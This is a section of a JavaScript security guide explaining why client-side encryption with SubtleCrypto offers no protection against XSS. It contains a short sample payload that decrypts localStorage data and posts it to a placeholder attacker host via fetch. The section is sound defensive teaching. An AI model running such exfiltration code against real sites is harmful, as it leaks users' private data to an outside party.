Frontend Labs
⋯

47. What client-side encryption can't protect against: the XSS threat model

This is the section engineers skip and then get burned by. Client-side encryption is real cryptography — AES-GCM via SubtleCrypto is not "fake" — but its threat model is narrower than people assume, and misunderstanding the boundary leads to false confidence.

What it DOES protect against: someone with direct access to the raw storage (a stolen device's disk, a rogue browser extension without script injection, an attacker who dumps IndexedDB/localStorage files offline) seeing your plaintext data. If the ciphertext leaks but the key doesn't, the data is genuinely unreadable.

What it does NOT protect against: if an attacker can run JavaScript in your page's origin (XSS), the encryption is worthless, because:

1. Your page's JS needs the encryption key to decrypt data for the user to
   see it.
2. An XSS payload runs with the EXACT SAME privileges as your legitimate
   JS — it can call the same crypto.subtle functions, read the same
   in-memory key variable, or simply wait for YOUR code to decrypt the data
   and then read the plaintext result directly out of the DOM or a JS variable.
3. There is no way to keep a secret from code running in the same origin —
   sandboxing is per-ORIGIN (§18), not per-script-tag.
// This "protects" data from someone reading raw localStorage bytes...
const encrypted = await encrypt(key, sensitiveNote);
localStorage.setItem("note", JSON.stringify(encrypted));

// ...but an XSS payload just does this instead, using YOUR OWN decrypt function:
const stolen = await decrypt(window.appEncryptionKey, JSON.parse(localStorage.note));
fetch("https://attacker.com/steal", { method: "POST", body: stolen });
// No cryptographic weakness was exploited here — the attacker simply ran
// code with the same permissions your app already had.

The correct mental model: client-side encryption's realistic value is protecting data at rest against non-script-execution threats — untrusted storage/sync providers, device theft, a browser extension with storage access but not script-injection into your origin, or a zero-knowledge architecture where even your own server should never see plaintext (password managers, encrypted note apps). It is not a defense against XSS — that defense is CSP, output encoding, and avoiding innerHTML/eval with untrusted input, full stop. Treat client-side encryption and XSS prevention as two separate, complementary controls, never as substitutes for each other.

Generated from real-life-JS-guide.md · 8 Oct 2026 16:36